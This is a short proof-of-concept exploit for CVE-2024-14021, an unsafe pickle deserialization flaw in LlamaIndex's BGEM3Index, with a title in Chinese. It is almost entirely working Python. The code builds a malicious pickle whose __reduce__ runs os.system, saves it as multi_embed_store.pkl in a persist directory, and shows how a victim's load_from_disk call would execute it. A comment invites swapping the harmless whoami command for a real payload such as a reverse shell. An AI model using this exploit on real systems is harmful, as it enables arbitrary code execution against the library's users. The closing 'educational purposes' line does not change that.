CVE-2024-14021 LlamaIndex BGEM3Index不安全反序列化漏洞

""" CVE-2024-14021 PoC - LlamaIndex BGEM3Index Unsafe Deserialization This PoC demonstrates how a malicious pickle file can trigger RCE. """ import os import pickle import base64 # Malicious pickle payload that executes arbitrary code # This creates a reverse shell or executes system commands class MaliciousPayload: def __reduce__(self): # Replace with your actual payload cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def create_malicious_pickle(output_path): """Create a malicious pickle file for exploitation""" malicious_obj = MaliciousPayload() # Serialize the malicious object pickle_data = pickle.dumps(malicious_obj) # Create persist_dir structure os.makedirs(output_path, exist_ok=True) # Write the malicious pickle file pickle_path = os.path.join(output_path, 'multi_embed_store.pkl') with open(pickle_path, 'wb') as f: f.write(pickle_data) print(f"[+] Malicious pickle file created at: {pickle_path}") return pickle_path def exploit(target_persist_dir): """ Simulate exploitation by loading the malicious pickle In real attack, victim would call BGEM3Index.load_from_disk(target_persist_dir) """ pickle_path = os.path.join(target_persist_dir, 'multi_embed_store.pkl') if os.path.exists(pickle_path): print(f"[*] Loading pickle from: {pickle_path}") with open(pickle_path, 'rb') as f: # This triggers the arbitrary code execution data = pickle.load(f) print("[!] Pickle loaded successfully") if __name__ == "__main__": # Create malicious persist directory malicious_dir = "./malicious_persist_dir" create_malicious_pickle(malicious_dir) print("\n[*] To exploit, victim would call:") print(f" BGEM3Index.load_from_disk('{malicious_dir}')") print("\n[!] This PoC is for educational purposes only!")